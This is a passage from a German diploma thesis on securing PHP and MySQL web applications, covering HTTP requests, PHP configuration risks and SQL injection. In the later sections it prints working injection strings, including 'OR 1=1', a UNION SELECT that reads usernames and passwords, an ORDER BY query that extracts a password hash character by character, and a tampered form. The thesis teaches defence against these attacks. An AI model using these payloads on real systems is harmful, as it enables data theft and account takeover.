Die Anfrage könnte theoretisch so aussehen22:

GET /index.php HTTP/1.1

Host: example.net

Diese Anfrage fordert den Host ’example.net’ auf, die Datei ’index.php’ zurück-zusenden.

Die Antwort vom Server könnte folgendermaßen aussehen23:

HTTP/1.1 200 OK

Server: Apache/2.1.11 (Unix) PHP/5.2.8

Content-Length: 512

Content-Language: de

Content-Type: text/html

Connection: close

It works!

Der Server sendet den Inhalt der Datei ’index.php’ an den Client zurück. Der Sta-tuscode 200 im Header bedeutet, dass die angeforderte Datei existiert. Der Inhaltder Datei lautet ’It works!’. Der Browser des Clients gibt den Text anschließendaus.

2.4.2 Request-Methoden

Es gibt verschiedene HTTP-Request-Methoden. Im Folgenden werden zwei die-ser Methoden betrachtet, da sie für die Funktion von Webanwendungen beson-ders bedeutend sind.

2.4.2.1 GET

Die GET-Methode ist wahrscheinlich die meist genutzte Form. Über die GET-Methode können auch Daten vom Client an den Server gesendet werden. Diezu sendenden Daten sind Teil der URL24. Der zu sendende Teil wird mit dem ’?’eingeleitet. Sollen mehrere Parameter übertragen werden, werden diese mit dem’&’ voneinander getrennt. Enthalten die Werte Sonderzeichen, müssen die Daten

22vgl. [BERNERS-LEE 1994]23vgl. [BERNERS-LEE 1994]24Uniform Resource Locator; vgl. [BERNERS-LEE 1994]

Page 17: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

8

URL-kodiert25 übertragen werden (z.B. würde ein ’&’ in den zu übertragendenDaten sonst einen weiteren Parameter einleiten).

GET /index.php?page=start&id=2 HTTP/1.1

Host: example.net

Wie im ersten Beispiel fordert der Client über diese Anfrage vom Server die Datei’index.php’ an, übergibt in diesem Falle noch zwei Parameter ’page’ und ’id’ mitden Werten ’start’ und ’2’. Die GET-Methode besitzt keine Längenbeschränkung,diese wird aber oft von den verwendeten Browsern beschränkt. Auch könnenüber GET keine Dateien an den Server gesendet werden.

2.4.2.2 POST

Die POST-Methode ähnelt sehr der GET-Methode, jedoch werden hier die Datennicht über die URL übertragen, sondern in einem separaten Datenblock. Dieserkann auch Dateien aufnehmen und an den Server senden, so können größereDatenmengen übertragen werden26:

POST /index.php HTTP/1.1

Host: example.net

Content-Type: application/x-www-form-urlencoded

Content-Length: 48

page=start&id=2

...

Wie im GET-Beispiel wird die Datei ’index.php’ angefordert. Diesmal wurden dieDaten nicht in der URL, sondern im Body-Bereich gesendet. Der Content-Typezeigt an, dass die Daten von einem Formular versendet wurden.

2.5 HTML und JavaScript

HTML ist die Grundlage jeder Webseite. Ohne HTML könnten Webanwendungenim Browser des Benutzers nicht dargestellt werden. JavaScript wird seit einigenJahren dazu genutzt um Webseiten auf der Clientseite dynamischer zu gestalten.Im Folgenden werden diese beiden Sprachen näher betrachtet.

25vgl. [BERNERS-LEE 2005]26vgl. [BERNERS-LEE 1994]

Page 18: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

9

2.5.1 HTML

HTML27 ist eine Auszeichnungssprache28, um Texte, Bilder und andere Daten inDokumenten zu strukturieren. HTML ist die Grundlage für Webseiten im WorldWide Web. Browser interpretieren die Struktur der HTML-Dokumente und gene-rieren daraus die grafische Anzeige.

HTML und artverwandte Sprachen, wie z.B. XHTML und XML, werden vom ’WorldWide Web Consortium’, kurz W3C, entwickelt und verbessert29.Der folgende Code zeigt eine simple Seite in HTML 4.01:

„<!DOCTYPE html PUBLIC ”-//W3C//DTD HTML 4.01 Transitional

//EN“ ”http://www.w3.org/TR/html4/loose.dtd“>

<html>

<head>

<title>Hallo Welt!</title>

</head>

<body>

<h1>Hallo Welt!</h1>

</body>

</html>“30

Dieses HTML-Dokument gibt im Browserfenster sowie im Browsertitel die Zei-chenkette ’Hallo Welt!’ aus.

2.5.2 JavaScript

JavaScript ist eine Scriptsprache, die häufig dazu genutzt wird statische HTML-Seiten auf der Clientseite dynamisch zu gestalten. Anders als der Name vermutenlässt, hat JavaScript kaum Gemeinsamkeiten mit der Programmiersprache Java.JavaScript wurde von Brendan Eich für den Netscape Navigator entwickelt undnannte sich damals noch ’Mocha’. Aus Marketing-Gründen wurde die Spracheerst in ’LiveScript’ und anschließend in ’JavaScript’ umbenannt31.

27Hypertext Markup Language28Auszeichnungssprachen dienen zur Beschreibung von Daten unter Verwendung von Tags29vgl. [W3C 2009]30vgl. [W3C 1999]31vgl. [MOZILLA 2005]

Page 19: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

10

JavaScript kann HTML-Dokumente durch das ’Document-Object-Model’, kurz DOM32,beliebig im Aussehen und in der Funktionalität ändern. JavaScript wird im Brow-ser in einer Sandbox ausgeführt. Diese verhindert, dass JavaScript Zugriff auf dasDateisystem des Clients erlangt. Jedoch ermöglicht, je nach Sicherheitseinstel-lung, der Microsoft Internet Explorer erweiterten Zugriff, z.B. auf die Zwischenab-lage. Auch können Sicherheitslücken in Browsern genutzt werden, um Zugriff aufdas Dateisystem zu erhalten.

32vgl. [W3C 2005]

Page 20: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

11

3 Risiken

In diesem Kapitel werden verschiedene Sicherheitsrisiken vorgestellt, die inWebanwendungen auftreten können.

3.1 Architekturbedingte Risiken von PHP

Es gibt die verbreitete Meinung, PHP sei eine unsichere Programmiersprache, daes zahlreiche Schwachstellen in der Konfiguration gäbe. Diese Schwachstellentreten allerdings nur in Verbindung mit schwach gesicherten Webanwendungenauf. Im Folgenden werden Konfigurationsoptionen vorgestellt, die bereits vorhan-dene Schwachstellen in Applikationen verstärken können.

3.1.1 Typendeklaration und Casting

Typisierung dient bei Programmiersprachen dazu, dass die enthaltenen Varia-blen, Funktionen und Objekte ohne Fehler verwendet werden.

Es kann zwischen starker und schwacher Typisierung, dynamischer und stati-scher Typisierung sowie expliziter und impliziter Typisierung unterschieden wer-den.

3.1.1.1 Typisierung

PHP ist eine implizite, schwach typisierte, dynamische Programmiersprache. Dasheißt, bei Variablen und Funktionen muss bei der Initialisierung der Typ nichtangegeben werden. Auch können Variablen ihren Typ zur Laufzeit ändern.

Das folgende Beispiel veranschaulicht die Typisierung in PHP1:

$x = 1;

$y = ”2”;

$z = $x + $y; // z hat jetzt den Wert 3 und den Typ int

// ergibt das Gleiche $z = 1 + ”2”;

1vgl. [PHP 2009(10)]

Page 21: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

12

In der ersten Zeile wird der Variablen $x explizit der Wert ’1’ zugewiesen, wo-mit sie implizit vom Typ her Integer ist. Nun wird in der zweiten Zeile der Varia-blen $y die Zeichenkette ’2’ zugewiesen. Sie ist vom Typ String. Die Variable $zergibt sich aus der Addition von $x und $y. Hier findet eine Typenkonvertierungstatt, da PHP zur Laufzeit die Variable ’y’ von String nach Integer konvertiert. Dasgleiche Beispiel würde bei der Programmiersprache ’Python’ einen Laufzeitfehlerauslösen.

Die automatische Typenkonvertierung von PHP kann für Fehler in der Anwen-dung verantwortlich sein. So können unerwartete Ergebnisse auftreten, wenn derProgrammierer bei Vergleichen von Variablen nicht den Vergleichsoperator für Ty-pensichere Vergleiche nutzt2:

if(1 == "1"){

echo "true";

}

else{

echo "false";

}

//ergibt "true"

if(1 === "1"){

echo "true";

}

else{

echo "false";

}

//ergibt "false"

In diesem Beispiel wird zweimal geprüft, ob der Ausdruck wahr ist. Der erste if-Block ergibt ’true’, da PHP die Zeichenkette ’1’ automatisch in den Typ Integer

konvertiert. Im zweiten if-Block wird der Operator für typsichere Vergleiche ge-nutzt. Hier wird nicht nur der jeweilige Wert vergleichen, sondern auch der Typ.Der zweite if-Block ergibt ’false’, da zwar die verglichenen Werte übereinstimmen,jedoch nicht der Typ (Integer zu String).

2vgl. [PHP 2009(6)]

Page 22: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

13

Wird der typsichere Vergleich nicht genutzt, kann dies unter Umständen sogarzu SQL-Injections führen. Das Thema Injections wird ausführlich in den Kapiteln3.3 und 4.5 behandelt.

3.1.1.2 Casting

Will sich der Programmierer nicht auf die Konvertierung von PHP verlassen, kanner auch eine manuelle Typenkonvertierung vornehmen.

$x = 1;

$y = ”2”;

$z = $x + (int)$y;

Hier wird die Konvertierung zum Typ Integer erzwungen.

3.1.2 register_globals

Ist in der Konfiguration von PHP die Option register_globals aktiviert, sostehen vom User übermittelte Variablen im globalen Bereich des jeweiligen PHP-Scripts zur Verfügung. Ist register_globals deaktiviert und übermittelt derBenutzer einen Wert per URL, kann im Script nur folgendermaßen auf den Para-meter zugegriffen werden:

//URL

http://www.example.net/index.php?page=start

//Zugriff auf ’page’

$_GET[’page’]

Hier kann nur über die Superglobale Variable3 $_GET auf den vom Benutzer über-mittelten Parameter zugegriffen werden.

Anders sieht es aus, wenn die Option register_globals aktiviert ist:

//URL

http://www.example.net/index.php?page=start

//Zugriff auf ’page’

3Überall sichtbar

Page 23: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

14

$page

Der übermittelte Parameter steht jetzt als eigenständige Variable zur Verfügung.Auf den ersten Blick mag diese Option bequem erscheinen, doch entstehen Ri-siken, wenn die Architektur der Anwendung dies nicht berücksichtigt. Die Doku-mentation von PHP verdeutlicht die Gefahren bei der Benutzung vonregister_globals:

„<?php

if($username && $password)

// kann vom User mit get/post/cookies übermittelt werden

//user einloggen

$good_login = 1;

if($good_login == 1)

// kann vom User mit get/post/cookies übermittelt werden

fpassthru(”/highly/sensitive/data/index.html”);

?>“4

Das Script erwartet eine Übergabe der Parameter ’username’ und ’password’. Daregister_globals aktiviert ist, können diese Parameter per GET, POST oderauch COOKIE übermittelt werden, auch wenn der Programmierer nur die Über-gabe per COOKIE erwartet. Anschließend wird überprüft, ob es sich um einenvaliden Benutzer handelt (hier übersprungen). Ist dies der Fall, wird die vorhernicht initialisierte Variable $good_login auf ’1’ gesetzt.

Der Anschließende if-Block prüft diese Variable, und erteilt bei erfolgreichemLogin Zugriff auf sensible Informationen. Der Programmierer hat jedoch nichtbedacht, dass der Benutzer nicht nur die Parameter ’username’ und ’password’übermitteln kann, sondern ebenfalls den Parameter ’good_login’. Wird dieser Pa-rameter alleine mit dem Wert ’1’ an das Script übergeben, spielt es keine Rolleob es sich um einen validen Benutzer handelt, da die Variable automatisch globalzur Verfügung steht. Ein potenzieller Angreifer kann so an sensible Informationengelangen, auch wenn er keine gültigen Logindaten vorweisen kann.

Das Beispiel zeigt deutlich, dass nicht die Option register_globals eineGefahr darstellt, sondern wie der Programmierer mit dieser Option umgeht.

Im Kapitel 4.9 wird näher auf sichere Softwarearchitektur eingegangen und wiesich Gefährdungen vermeiden lassen, auch wenn regsiter_globals aktiviert

4vgl. [PHP 2009(7)]

Page 24: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

15

ist.

3.1.3 allow_url_fopen

In PHP können Dateien zur Laufzeit von einem Script nachgeladen werden. Diemeisten größeren Anwendungen machen davon Gebrauch, um Module und spe-zielle Funktionen dynamisch zu laden. Die Dateien befinden sich meistens lokalin einem Unterordner der jeweiligen Anwendung und werden z.B. mit include()oder require() geladen. Oft sollen auch Textdateien, z.B. für das Parsen vonXML, eingelesen werden. Dafür steht in den aktuellen PHP-Versionenfile_get_contents() zur Verfügung. Ist die Option allow_url_fopen inder Konfigurationsdatei php.ini aktiviert, ist ein Laden von entfernten Dateien (al-so Dateien, die sich auf einem anderen Server befinden) möglich. Die Funktionensind so nicht mehr auf lokale Dateien beschränkt, sondern können auch Dateienper HTTP und FTP einlesen.

Je nach Architektur der Anwendung ergeben sich hierdurch Gefährdungen, dieden gesamten Server kompromittieren können.

3.1.4 allow_url_include

Vor der Veröffentlichung von PHP 5.2 standen Serveradministratoren und Pro-grammierer vor dem Problem, dass sie zwar Zugriff auf entfernte Dateien er-möglichen wollten, jedoch nur per include() und require() und nicht überandere Dateifunktionen, wie file_get_contents() oder fopen(). Da diesnicht möglich war, wurde die Option allow_url_fopen meist aktiviert. DiesemProblem wurde mit der PHP-Version 5.2 Rechnung getragen. In dieser Versi-on wurde die Option allow_url_include eingeführt, die das Einlesen vonentfernten Dateien nur per include(), include_once(), require() undrequire_once() erlaubt. Alle anderen Dateifunktionen können weiterhin nurauf lokale Dateien zugreifen.

Sicherheitsrisiken durch eine fehlerhafte Architektur der Anwendung kann aberauch diese Option nicht ausgleichen, wenn die Gefährdung durch eine include()-oder require()-Anweisung erfolgt.

Page 25: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

16

3.2 MySQL, Apache-Webserver und das

Betriebssystem

Architekturbedingte Risiken können nicht nur in der Programmiersprache auftre-ten, sondern auch im Datenbankserver, dem Webserver und dem Betriebssys-tem.

3.2.1 MySQL

Schwachstellen in MySQL sind zwar selten, aber wie bei jeder Software tretenauch bei MySQL Bugs oder auf Windows Systemen Virenbefall auf. Je nach Kon-figuration wird es Angreifern erleichtert in die Datenbank einzudringen, in dem erdirekt eine Verbindung zu dem MySQL Server aufbaut. Oftmals wird der MySQL-Server ohne Passwort für den Benutzer root 5 installiert. Ist dies der Fall, kann einAngreifer sich ohne Umweg über eine Webanwendung Zugriff auf den MySQL-Server verschaffen, wenn das Betriebssystem diese Zugriffe nicht unterbindet.

Oftmals hat der Datenbankbenutzer, über den die Webanwendung sich bei demDatenbankserver anmeldet, zu viele Rechte. So kann über eine SQL-Injectionunter Umständen die Struktur der Datenbank geändert werden.

3.2.2 Apache-Webserver

Der Apache-Webserver gilt allgemein als ein sehr sicherer Webserver. Er ist überlange Zeit erprobt und es erscheinen regelmäßig Updates. Jedoch ist auch derApache-Webserver nicht von Fehlern in Modulen befreit. So traten Anfang 2008unter anderem XSS-Schwachstellen in den Modulen mod_status,mod_proxy_ftp, mod_proxy_balancer und mod_autoindex auf 6. So ließsich durch Manipulation von Parametern JavaScript-Code im Browser des Benut-zers ausführen7.

3.2.3 Betriebssystem

Betriebssystemsicherheit kann ein komplettes Buch füllen. Der Vollständigkeithalber sollen hier nur erwähnt werden, dass Betriebssysteme, wie auch Weban-wendungen, Risiken aufweisen können. Ein bekanntes Risiko ist das Auslesenvon geschützten Dateien durch einen Angreifer. Im Laufe der nächsten Kapitelwird darauf näher eingegangen.

5root: der Systemadminsitrator auf Linux-/UNIX-Systemen6vgl. [HEISE 2008]7weiterführende Literatur: [KERSKEN 2005]

Page 26: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

17

3.3 SQL-Injections

SQL-Injections sind Code-Einspeisungen, mit denen ein Angreifer versucht eige-ne SQL-Befehle von der Anwendung ausführen zu lassen. Sie gehören zu denhäufigsten und gefährlichsten Angriffen auf Webanwendungen und Server. Ge-rade in den letzten Jahren hat die Anzahl an SQL-Injections stark zugenommen,da auch immer mehr datenbankbasierte Webanwendungen entwickelt wurden.

Bei diesen dynamischen Anwendungen stammen Werte bei Datenbankabfra-gen meist aus Benutzereingaben. Diese Eingaben können aus GET, POST, COOKIEoder auch Headerwerten stammen. Ist die Webanwendung unzureichend gesi-chert und gibt ein Angreifer anstelle der erwarteten Werte ein eigenes Daten-bankstatement ein, handelt es sich um eine SQL-Injection.

3.3.1 Grundlagen

Um zu verstehen, wie Angreifer eigene Datenbankstatements in die Anwendungeinschleusen und erfolgreich zur Ausführung bringen können, werden hier dieGrundlagen dazu beschrieben.

Datenbankfelder haben in der Regel verschiedene Typen8:

• String

• Number

• Date

• Blob

Für Injections sind die Typen String, Number und Date wichtig. Blob stelltin MySQL ein binäres Feld dar, in dem komplette binäre Daten (z.B. Bilder) ge-speichert werden können. Blob-Felder spielen bei Injections in der Regel keineRolle.

Wird an die Datenbank ein Wert vom Typ String oder Date übergeben, mussdieser Wert mit Hochkommata (’) oder durch Anführungszeichen (”) umschlossensein. Werte vom Typ Number (int, float, double, etc.) können dagegen ein-fach im Statement verwendet werden.

SELECT vorname FROM kunden WHERE name = ”Meier”;

8vgl. [KUNZ ESSER 2008, S. 123]

Page 27: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

18

Dieses Statement gibt alle Vornamen der Kunden aus, die den Nachnamen ’Mei-er’ tragen. Da ’Meier’ vom Typ String ist, muss er durch Hochkommata oderAnführungszeichen umschlossen werden. Wäre dies nicht der Fall, würde vonder Datenbank ein Fehler zurückgegeben werden.

SELECT vorname FROM kunden WHERE kndnr = 12;

Dieses Statement gibt den Vornamen des Kunden mit der Kundennummer ’12’aus. Hier muss die Kundennummer nicht umschlossen werden, da sie vom TypInteger ist.

Dem Datenbankstatement kann natürlich auch eine Variable übergeben werden.

SELECT vorname FROM kunden WHERE kndnr = $_GET[’kndr’];

Diese Abfrage übernimmt ungeprüft den Wert der Variable ’kndr’, die per GETvom Benutzer über die URL übergeben wurde.

3.3.2 Verwundbarkeiten auffinden

Um einen erfolgreichen Angriff auf eine Webanwendung zu starten, muss derAngreifer zuerst testen, wo die Anwendung verwundbar ist. Dazu sucht er Para-meter, die Benutzereingaben an die Datenbank weiterleiten. Dazu gehören Para-meter aus

• GET

• POST

• COOKIE

• SERVER

Angriffe können durch Manipulation von Werten dieser Parameter erfolgen.

3.3.2.1 GET

GET-Parameter können vom Angreifer am leichtesten manipuliert werden, da die-se über die URL übergeben werden9.

9siehe Kapitel 2.4.2.1

Page 28: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

19

http://example.com/index.php?kndr=12

Hier erwartet die Anwendung die Übergabe einer Kundennummer. Um zu tes-ten, ob eine Schwachstelle besteht, kann der Angreifer Hochkommata und An-führungszeichen an die URL anhängen:

http://example.com/index.php?kndr=12”’

Übernimmt die Anwendung die vom User übergebenen Werte ohne Prüfung inein SQL-Statement, tritt ein Fehler auf. Das dazugehörige PHP-Script könnte soaussehen:

$kndr = $_GET[’kndr’];

$sql = ”SELECT vorname FROM kunden WHERE kndnr = $kndr”;

$result = mysql_query($sql);

Das Script nimmt den Parameter kndr entgegen und baut ihn in die SQL-Abfrageein. Da der Wert nicht auf seine Gültigkeit geprüft wurde, kommt folgende Abfra-ge bei der Datenbank an:

SELECT vorname FROM kunden WHERE kndnr = 12”’;

Da es sich aufgrund der Fehlerhaften Zeichensetzung nicht um ein gültiges SQL-Statement handelt, gibt die Datenbank eine Fehlermeldung aus, die wie folgt aus-sehen könnte10:

Warning: Supplied argument is not a valid MySQL result

resource in index.php on line...

Diese Fehlermeldung liefert dem Angreifer wichtige Informationen. Er weiß nun,um welche Datenbank es sich handelt, und dass die Benutzereingaben ungeprüftin das SQL-Statement übernommen werden.

3.3.2.2 POST

Die Manipulation von POST-Parametern gestaltet sich etwas schwieriger. DieseParameter werden mittels HTML-Formularen übergeben. Sind dort freie Einga-befelder enthalten (z.B. für Benutzernamen oder Passwörter), kann der Angreifer

10vgl. [SUN 2009(3)]

Page 29: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

20

dort verschiedene Zeichenfolgen eingeben.

<input name="name" size="20" />

Lässt das Formular nur Listen oder vorselektierte Werte zu, gehen viele Web-master davon aus, dass keine Manipulation stattfinden kann.

<form action="index.php" method="post">

<select name="farbe">

<option value="1">Rot</option>

<option value="2">Grün</option>

<option value="3">Blau</option>

</select>

</form>

Hier hat der Benutzer nur die Wahl aus vorselektierten Werten. Eine Manipulationscheint auf den ersten Blick nicht möglich. Doch auch durch solche Listen lässtsich ein Angreifer kaum aufhalten. Er wird die HTML-Datei lokal auf seine Fest-platte abspeichern und kann anschließend ohne Probleme die Werte anpassen:

<form action="http://example.com/index.php" method="post">

<select name="farbe">

<option value="1’\"">Rot</option>

</select>

</form>

Der Angreifer ändert die relative URL in eine absolute und setzt in das value-Attribut Sonderzeichen ein. Durch lediglich zwei kleine Änderungen kann nun einmanipuliertes Formular an den Server gesendet werden.

3.3.2.3 Cookies

Cookies werden in vielen Webanwendungen zur Identifikation von Benutzernnach Logins verwendet. Oft wird ein Hash oder eine ID in das Cookie geschriebenund auf den Folgeseiten mit der Datenbank abgeglichen. Durch Browser-Plugins,wie es sie z.B. für den Mozilla FireFox gibt11, können gespeicherte Cookies sehreinfach verändert werden. Das Prinzip bleibt auch bei dieser Methode dasselbe.Der Angreife ändert den Cookie mit Sonderzeichen ab und hofft auf eine anschlie-ßende Reaktion der Anwendung.

11vgl. [MOZILLA 2009]

Page 30: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

21

3.3.2.4 Servervariablen

PHP bieten dem Programmierer sehr einfach Zugriff auf die vom Browser gesen-deten Header-Informationen. Die Header-Daten enthalten unter anderem Infor-mation über den benutzten Browser, das Betriebssystem, IP-Adresse, Host undReferer. Mittels $_SERVER erhält der Programmierer Zugriff auf diese Informa-tionen. Viele Programmierer gehen sehr sorglos mit den Inhalten der Serverva-riablen um und vertrauen den Inhalten dieser Variablen. Doch mittels Add-Onsund anderer Software können ohne größere Probleme Headerinformationen ver-ändert werden. Werden diese Daten ungeprüft in ein Datenbankstatement über-nommen, ist die Anwendung dort genau so für Injections anfällig, wie bei GEToder POST Daten.

3.3.3 Syntax von MySQL-Injections

Hat der Angreifer erfolgreich eine Schwachstelle gefunden, kann er versuchen ei-gene Datenbankbefehle einzugeben. Je simpler das vorhandene SQL-Statementist, desto einfacher ist auch eine Injection. Handelt es sich dagegen um einekomplizierte Abfrage, werden oft sehr viele Versuche benötigt, bis die Injection zueinem Erfolg führt.

3.3.3.1 WHERE Injection

Als Beispiel für eine einfache WHERE-Injection, kann das bereits gezeigte Beispieldienen:

//URL

http://example.com/index.php?kndr=12

$kndr = $_GET["kndr"];

$sql = "SELECT vorname FROM kunden WHERE kndnr = $kndr";

$result = mysql_query($sql);

//Statement

SELECT vorname FROM kunden WHERE kndnr = 12;

Die Anwendung erwartet hier eine Kundennummer, die per URL übergeben wird.Durch das Einspeisen von verschiedenen Sonderzeichen konnte der Angreiferbereits die Schwachstelle in Erfahrung bringen. Wird anstelle der Kundennummer

Page 31: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

22

12 ein anderes Konstrukt eingegeben, kann sich ein Angreifer sämtliche Kundenausgeben lassen12:

//URL

http://example.com/index.php?kndr=12 OR 1=1

//Statement

SELECT vorname FROM kunden WHERE kndnr = 12 OR 1=1;

Da das an die Kundennummer angehängte Statement OR 1=1 immer zutrifft,werden alle Einträge aus der Tabelle ausgegeben. Das Ändern von WHERE-Klauselnist eine oft gebrauchte Injection, die in vielen Anwendungen zum Erfolg führt,wenn diese für Injections anfällig ist. Hierbei können Daten ausgelesen werden,die dem Angreifer auf normalem Wege nicht zugänglich sind.

3.3.3.2 UNION SELECT Injection

Im SQL-Statement ist zwar die Tabelle der Datenbank angegeben und auf denersten Blick scheint der Angreifer nur auf Daten dieser Tabelle zugreifen zu kön-nen. Doch über das MySQL-Schlüsselwort UNION können nach der WHERE-Klauselmehrere Tabellen miteinander verknüpft werden. Damit eine UNION-Abfrage er-folgreich ausgeführt werden kann, muss der Angreifer die Anzahl der Felder (undje nach Datenbank auch den Typ) im vorhandenen Statement kennen. Um an die-se Anzahl zu gelangen, kann der Angreifer raten und verschiedene Statementstesten. Handelt es sich um eine Open-Source Anwendung, kann er in der jewei-ligen Datei das Originalstatement einfach auslesen. Sind alle Voraussetzungengeschaffen, ist ein Zugriff auf beliebige Tabellen der Datenbank möglich. Je nachKonfiguration gehören sogar Systemtabellen dazu, in denen Information zu deneinzelnen Datenbankbenutzern gespeichert sind13.

SELECT vorname, name, hausnr FROM kunden WHERE kndnr = 12

UNION SELECT username, passwort, 1 FROM benutzer;

Dieses Statement liest über die UNION-Klausel den Loginnamen und das Pass-wort des Benutzers aus. Da im ersten SELECT drei Spalten ausgelesen werden(’vorname’, ’name’ und ’hausnr’) muss auch das UNION SELECT aus drei Spal-ten bestehen. Die Benutzertabelle besteht in diesem Beispiel aus drei Spalten,deswegen muss der Angreifer einen zusätzlichen Wert (hier die ’1’) in die UNION-Klausel einbringen. Da die Spalte ’hausnr’ offensichtlich vom Typ Integer ist, hat

12vgl. [HEIDERICH et. al 2009, S. 529]13vgl. [KUNZ ESSER 2008, S. 133ff]

Page 32: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

23

der Angreifer die ’1’ als Wert eingegeben. MySQL führt eine automatische Ty-penkonvertierung durch, aus dem Grund hätte der Angreifer anstelle der ’1’ aucheinen String eingeben können (z.B. ’foo’). Andere Datenbanksysteme, wie MS-SQL, verlangen bei der UNION-Klausel aber den gleichen Datentyp.

3.3.3.3 ORDER BY Injection

Um an geschützte Informationen einer Datenbank zu gelangen, benötigt ein An-greifer nicht unbedingt ein SELECT-Statement, je nach Architektur der Anwen-dung reicht eine ungesicherte ORDER BY Anweisung aus14.

SELECT name FROM benutzer ORDER BY $_GET[’order’];

Diese Abfrage gibt alle Namen aus der Tabelle ’benutzer’ aus. Sortiert wird dieListe durch eine Variable, die über GET vom Script ungeprüft entgegengenommenwird:

http://example.com/index.php?order=vorname

Hier würde die Liste nach dem Vornamen sortiert werden. Wie bei der UNIONSELECT Injection ist auf den ersten Blick die Verwundbarkeit nicht sofort zu er-kennen, da Informationen durch unterschiedliches Sortieren nicht ausgelesenwerden können. Durch eine andere Sortierung der Liste kann ein Angreifer unterUmständen auf die gespeicherten Informationen schließen. Sind jetzt, so wie invielen Fällen, auch mit MD5 gehashte Passwörter in dieser Tabelle gespeichert,kann ein Angreifer nach und nach alle Buchstaben des Passwortes erraten:15

SELECT name FROM benutzer ORDER BY

(id = 1 && substring(password,1,1) = ’0’) DESC, id DESC;

Dieses Statement sortiert die Liste nach der Benutzer-ID und dem ersten Zeichendes Passwort Hashs. Als ’id’ wird hier ’1’ genutzt, da der Administrator meist dererste Benutzer im System ist und somit die ’1’ erhält. Es kann aber auch jede an-dere ID verwendet werden. Im zweiten Teil der Anweisung wird nach dem erstenZeichen des Passwort Hashs sortiert (hier eine ’0’). Ist die Abfrage erfolgreich,wird der Administrator in der ersten Zeile der Liste ausgegeben.

MD516 erzeugt einen 32-Zeichen langen Hash, der aus den Ziffern 0-9 undden Buchstaben a bis f besteht. Pro Stelle können also 16 verschiedene Zei-chen stehen, der Angreifer benötigt demnach maximal 480 Versuche, bis er ihn14vgl. [KUNZ ESSER 2008, S. 138]15vgl. [KUNZ ESSER 2008, S. 138]16Message-Digest Algorithm 5, vgl. [RIVEST 1992]

Page 33: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

24

erfolgreich ausgelesen hat (15*32, da nach dem 15. fehlgeschlagenen Versuchdas letzte Zeichen bekannt ist und nicht mehr getestet werden muss). Nach derWahrscheinlichkeit wird der Angreifer keine 480 Versuche benötigen, da er vie-le Zeichen schon vor dem letzten Versuch finden wird. Durch zusätzliche SQL-Techniken kann diese Zahl noch weiter verringert werden. Nutzt der Angreifer einautomatisiertes Script, kann er den Hash innerhalb weniger Sekunden auslesen.Den Hash kann er anschließend mit Rainbow-Tables abgleichen oder auch in ei-nem Cookie nutzen, falls die Anwendung den Hash als Identifikationsmerkmal fürden Login nutzt.

Damit der hier beschriebene Angriff erfolgreich durchgeführt werden kann, mussder Angreifer die Namen der Tabellenfelder kennen. Handelt es sich um Indivi-dualsoftware, ist die Wahrscheinlichkeit gering, dass ein Angreifer diese Namenkennt. In dem Falle kommt er möglicherweise durch Testen von verschiedenenNamen zum Ziel, da für Passwörter oftmals Namen wie ’password’, ’passwd’, etc.genutzt werden. Setzt die Anwendung Open-Source Software ein, lässt sich derName einfach aus dem Quelltext ersehen.

3.3.3.4 INSERT-, UPDATE- und DELETE-Injections

